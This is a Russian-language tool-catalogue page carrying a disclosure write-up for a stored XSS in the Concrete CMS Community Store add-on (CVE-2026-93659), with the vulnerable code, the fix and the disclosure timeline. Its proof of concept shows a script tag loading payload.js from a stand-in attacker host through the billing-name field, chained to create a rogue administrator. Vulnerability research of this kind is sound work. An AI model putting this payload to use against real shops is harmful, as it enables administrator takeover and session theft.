Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/prince325/cve-2026-93659-writeup
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьСтатьи и ИсследованияОбучение и ОбразованиеПодобранные Ресурсы
GitHubprince325/cve-2026-93659-writeup

CVE-2026-93659-writeup

Stored XSS в Concrete CMS Community Store приводит к захвату админ-панели

Репозиторий
15 ч 38 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-93659: Хранимый XSS в Concrete CMS Community Store приводит к захвату панели администратора

Сводка

CVECVE-2026-93659
Компонентconcretecms-community-store/community_store
ТипХранимый межсайтовый скриптинг (CWE-79)
КритичностьCVSS v4.0 9.3 Critical / v3.1 8.7 High
ЗатронутоВсе версии до 2.7.8
Исправлено в2.7.8
БлагодарностьPrince Edem Fiagbedzi (обнаружил)

Community Store, открытое e-commerce-дополнение для Concrete CMS, сохраняло предоставляемые клиентом поля заказа без их очистки и выводило их без HTML-экранирования в четырёх представлениях, доступных администратору. Любой неаутентифицированный посетитель мог оформить заказ с полезной нагрузкой в виде скрипта в таком поле, как имя плательщика, и эта нагрузка выполнялась внутри аутентифицированной сессии панели управления менеджера магазина при следующем открытии им этого заказа — этого достаточно для создания поддельной учётной записи администратора или похищения данных сессии.

Что затронуто

Каждый заказ содержит предоставляемые клиентом поля: имя и фамилия плательщика и получателя, email и телефон. Эти поля сохраняются как есть и выводятся обратно в четырёх местах, которые менеджер магазина регулярно просматривает:

  • представление заказа в админке (single_pages/dashboard/store/orders.php)
  • печатная квитанция заказа (elements/order_slip.php)
  • отчёт о продажах (single_pages/dashboard/store/reports/*.php)
  • страница подтверждения оформления заказа для клиента (single_pages/checkout/complete.php)

Что критично, для оформления заказа не требуется учётная запись. Настройка гостевого оформления заказа в Community Store по умолчанию имеет значение always, и это задаётся самим установщиком пакета при каждой чистой установке, а не то, что оператор магазина должен включить вручную. Так что это не баг, требующий неправильно настроенного магазина; он эксплуатируется против установки по умолчанию, «из коробки», без каких-либо учётных данных.

Устранение

Обновите Community Store до 2.7.8 или более поздней версии. Исправление добавляет надлежащее экранирование вывода во все четыре затронутых места рендеринга. Никакого обходного пути через конфигурацию, кроме обновления, нет, поскольку уязвимое поведение — это само экранирование, а не какой-то переключатель.

Технические детали

Ни одно из четырёх мест рендеринга не экранировало контролируемые клиентом поля. Показательная строка из представления заказа в админке:

root@kitploit:~
<?= $order->getAttribute("billing_first_name"). " " . $order->getAttribute("billing_last_name")?><br>

Никакого вызова h(), стандартного помощника Concrete для экранирования вывода, нигде рядом, хотя тот же файл корректно использовал h() несколькими строками ниже для других значений. С валидацией ввода дела обстояли не лучше: единственной проверкой, применявшейся к этим полям, было ограничение длины (1–255 символов), ничего, что удаляло бы или отклоняло HTML.

root@kitploit:~
if (strlen($data['store-checkout']['first-name']) < 1) { ... }
if (strlen($data['store-checkout']['first-name']) > 255) { ... }
// no HTML sanitization

Полезная нагрузка <script> длиной менее 255 символов в поле имени плательщика проходит валидацию нетронутой, сохраняется и позже выводится без экранирования везде, где администратор просматривает заказ.

Значение по умолчанию для гостевого оформления заказа задаётся непосредственно в установщике:

root@kitploit:~
// src/CommunityStore/Utilities/Installer.php
$this->config->save('community_store', [
    ...
    'guestCheckout' => 'always'
]);

Контроллер оформления заказа принудительно требует входа только тогда, когда эта настройка равна off (или option без гостевого флага), а при установленном по умолчанию значении эта ветка никогда не срабатывает.

Доказательство концепции

Протестировано против Community Store v2.7.7 на Concrete CMS 9.5.2 (самостоятельно развёрнутая лаборатория в Docker, PHP 8.3). Полезная нагрузка отправлена как обычное гостевое оформление заказа, без какой-либо аутентификации:

root@kitploit:~
billing_first_name = <script src="https://attacker-controlled.example/payload.js"></script>
  1. Атакующий отправляет выглядящее обычным оформление заказа с приведённой выше полезной нагрузкой. Без учётной записи, без сессии, без cookies.
  2. Менеджер магазина открывает Dashboard > Store > Orders и просматривает заказ (нагрузка срабатывает одинаково из квитанции заказа, отчёта о продажах или собственного письма-подтверждения клиента; работает любой из четырёх неэкранированных путей рендеринга).
  3. Скрипт выполняется с аутентифицированной сессией менеджера магазина и его CSRF-токеном. Чтобы подтвердить реальное воздействие, а не просто всплывающее окно, я разместил полезную нагрузку сам, как это сделал бы внешний атакующий, и использовал её для программной отправки формы «добавить администратора» изнутри этой сессии, превратив один вредоносный заказ в полный захват учётной записи администратора.

Хронология раскрытия

  • Сообщено сопровождающему через приватный GitHub security advisory
  • Исправление выпущено Ryan Hewitt как коммит 2a802d6, добавляющий экранирование через h() во все четыре затронутых места рендеринга
  • Исправление включено в релиз v2.7.8
  • CVE-2026-93659 опубликован через VulnCheck как CNA, с указанием меня как обнаружившего

Выводы

  • Экранирование вывода должно применяться последовательно во всех путях рендеринга для данного значения, а не только в очевидных. Этот баг жил годами, потому что три из четырёх мест рендеринга, по-видимому, так и не пересмотрели после того, как четвёртое было обработано правильно.
  • «Требуется учётная запись» — не безопасное допущение, на котором можно строить модель угроз для дополнения с настраиваемым гостевым доступом. Проверяйте фактическое значение по умолчанию, а не теоретически безопасную конфигурацию.
  • Дополнения из маркетплейса/сообщества для популярных CMS-платформ — хорошее место для начала поиска багов: реальная база установок, действительно меньше аудита, чем у ядра.

Ссылки

  • CVE-2026-93659
  • Коммит с исправлением 2a802d6
  • Примечания к релизу v2.7.8
  • Репозиторий Community Store
Скачать инструмент